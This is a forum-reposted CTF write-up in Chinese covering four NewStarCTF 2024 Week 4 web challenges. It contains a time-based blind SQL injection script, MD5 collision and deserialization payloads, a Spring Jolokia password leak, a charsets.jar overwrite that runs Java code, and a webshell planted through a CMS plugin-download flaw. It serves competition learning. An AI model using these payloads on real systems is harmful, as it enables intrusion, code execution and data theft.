NewStarCTF2024-Week4-Web-WP

种地  金牌会员 | 2024-11-24 13:07:00 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 923|帖子 923|积分 2769

目录

1、blindsql2
2、chocolate
3、隐藏的暗码
4、ezcmsss

   标题对勇师傅来说已经是开始上难度了以是这周没有AK
  分享下本身做出来的题的解题思绪
  
1、blindsql2

原本是在继承构造新的 payload,也测到了延时

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 解释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,以是直接就都打通了。

exp:
  1. # @author:Myon
  2. # @time:20241015
  3. import requests
  4. import string
  5. import time
  6. url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
  7. dic = string.ascii_lowercase + string.digits + '{}-_'
  8. out = ''
  9. for j in range(1, 100):
  10.     a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
  11.     for k in dic:
  12.         # payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名
  13.         # print(payload)
  14.         # payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"
  15.         # payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"
  16.         payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"
  17.         re = requests.get(url, params=payload)
  18.         # print(re.status_code)
  19.         t = re.elapsed.total_seconds()
  20.         # print(f"{j}:{time}")
  21.         if t > 1.5:
  22.             print(k)
  23.             a = 0 #如果找到字符,则将标志位置0
  24.             out += k
  25.             print(out)
  26.             time.sleep(1)
  27.             break #跳出内层的for循环,继续遍历下一位
  28.     # if a == 1: #在进行下一次循环前,先判断当前字符是否找到
  29.     #     break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
  30. print(out)
复制代码

2、chocolate

目录扫描扫到了个 source.php,访问看不到内容
随便输一些东西测到了一个提示:


访问,然后绕过一下:
  1. 0ldStar.php?num=+02471
复制代码

拿到:
  1. 可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到
复制代码
让我们解密这个,扔到随波逐流发现是个文件名

继承访问 cocoaButter_star.php
第一个是 md5 强碰撞:
  1. cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
复制代码

第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0
Payload:
  1. moew=0e215962017
复制代码

拿到:of course you konw// 可可脂 (g): 202409
最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:
  1. import hashlib
  2. knowMd5 = '8031b'  # 已知的md5前缀
  3. dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  # 字符字典
  4. def md5(text):
  5.     return hashlib.md5(str(text).encode('utf-8')).hexdigest()  # 计算md5哈希值
  6. # 爆破过程
  7. for i in dict:
  8.     for j in dict:
  9.         for k in dict:
  10.             for l in dict:
  11.                 # 生成四个字符组合
  12.                 x = i + j + k + l
  13.                 # 计算md5
  14.                 codeMd5 = md5(x)
  15.                 # 如果md5前五个字符等于已知的8031b
  16.                 if codeMd5[:5] == knowMd5:
  17.                     print(f"符合要求的next_level值:{x}")
  18.                     break  # 找到符合的组合后退出循环
复制代码

比如我们传入 aNQa

拿到 of course you konw// 可可脂 (g): 202409// final.php
最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不必要绕过,而且 url 编码后传入不行,直接传序列化后的内容。
exp:
  1. <?php
  2. class chocolate{
  3.     public $cat='???';
  4.     public $kitty='???';
  5.     public function __construct($u,$p){
  6.         $this->cat=$u;
  7.         $this->kitty=$p;
  8.     }
  9.     public function eatit(){
  10.         return $this->cat===$this->kitty;
  11.     }
  12.     public function __toString(){
  13.         return $this->cat;
  14.     }
  15.     public function __destruct(){
  16.         global $darkCocoaPowder;
  17.         echo $darkCocoaPowder;
  18.     }
  19. }
  20. $u = '111';
  21. $p = '111';
  22. $c = new chocolate($u,$p);
  23. echo serialize($c);
  24. ?>
复制代码
让 $cat===$kitty 即可
Post传入:
  1. O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";}
复制代码

拿到:黑可可粉 (g): 51540
最后还剩一个糖分,经过测试发现页面会有差别回显


确定范围是在 2000-2050 之间
Burpsuite 爆破一下:

拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}

3、隐藏的暗码

目录扫描

/back.html

但是文件上传后访问不到,命令执行的是 ls
/actuator/env 接口下发现暗码被******代替了

实行获取星号的内容
Post:/actuator/jolokia
  1. {
  2.   "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
  3.   "operation": "getProperty",
  4.   "type": "EXEC",
  5.   "arguments": ["caef11.passwd"]
  6. }
复制代码

拿到暗码:123456qWertAsdFgZxCvB!@#
登录,发现界面内容和前面貌录扫描出来的 back.html 是一样的…

命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:
  1. !$&();<>[\]`{|}
复制代码

可以看到异或和取反都是可以使用的

实行命令执行,发现不行
文件能传上去但是访问不到

找到了JDK HOME 目录:
  1. /usr/local/openjdk-8/jre/lib
复制代码

确认一下,确实可以成功上传文件到这个位置:
  1. ../../usr/local/openjdk-8/jre/lib/charsets.jar
复制代码


那么我们直接覆盖 charsets.jar

触发:
  1. Accept: text/html;charset=GBK
复制代码

确实可以利用

重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里重要是更换 IBM33722.class

修改后的源码如下:
  1. package sun.nio.cs.ext;
  2. import java.io.BufferedReader;
  3. import java.io.File;
  4. import java.io.FileReader;
  5. import java.io.FileWriter;
  6. import java.io.IOException;
  7. import java.util.UUID;
  8. public class IBM33722 {
  9.     static {
  10.         fun();
  11.     }
  12.     public IBM33722(){
  13.         fun();
  14.     }
  15.     private static java.util.HashMap<String, String> fun(){
  16.         String flagFilePath = "/flag";
  17.         String fileName = readFlag(flagFilePath);
  18.         
  19.         if (fileName == null) {
  20.             fileName = "failed";
  21.         }
  22.         
  23.         String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);
  24.         String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";
  25.         createTempFile(tempFilePath);
  26.         return null;
  27.     }
  28.     private static String readFlag(String path) {
  29.         StringBuilder content = new StringBuilder();
  30.         try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {
  31.             String line;
  32.             while ((line = reader.readLine()) != null) {
  33.                 content.append(line);
  34.             }
  35.         } catch (IOException e) {
  36.             return null;
  37.         }
  38.         return content.toString();
  39.     }
  40.     private static void createTempFile(String path) {
  41.         try (FileWriter writer = new FileWriter(new File(path))) {
  42.             writer.write(path);
  43.         } catch (IOException e) {
  44.             e.printStackTrace();
  45.         }
  46.     }
  47. }
复制代码
读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(由于我们只能执行ls命令)
编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar


重启环境,上传新的 charsets.jar
覆盖掉后触发方式同上

查看 /tmp 目录

拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}

4、ezcmsss


Start.sh里拿到账户暗码:
  1. admin_name=jizhicms1498&admin_pass=4oP4fB51r5
复制代码
登录后台:admin.php


允许上传 php 文件


后端还做了检测

在前端随便注册一个账号

实行上传但是没有分栏可选

在后台添加一下


还是不行,配置文件也传不了,估计这个漏洞已经修了
又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

那利市动传一个一句话木马的 zip 到它的本地

从本地下载插件:
  1. action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip
复制代码

解压:
  1. action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0
复制代码

访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马

调用木马:

读取 flag

拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

种地

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表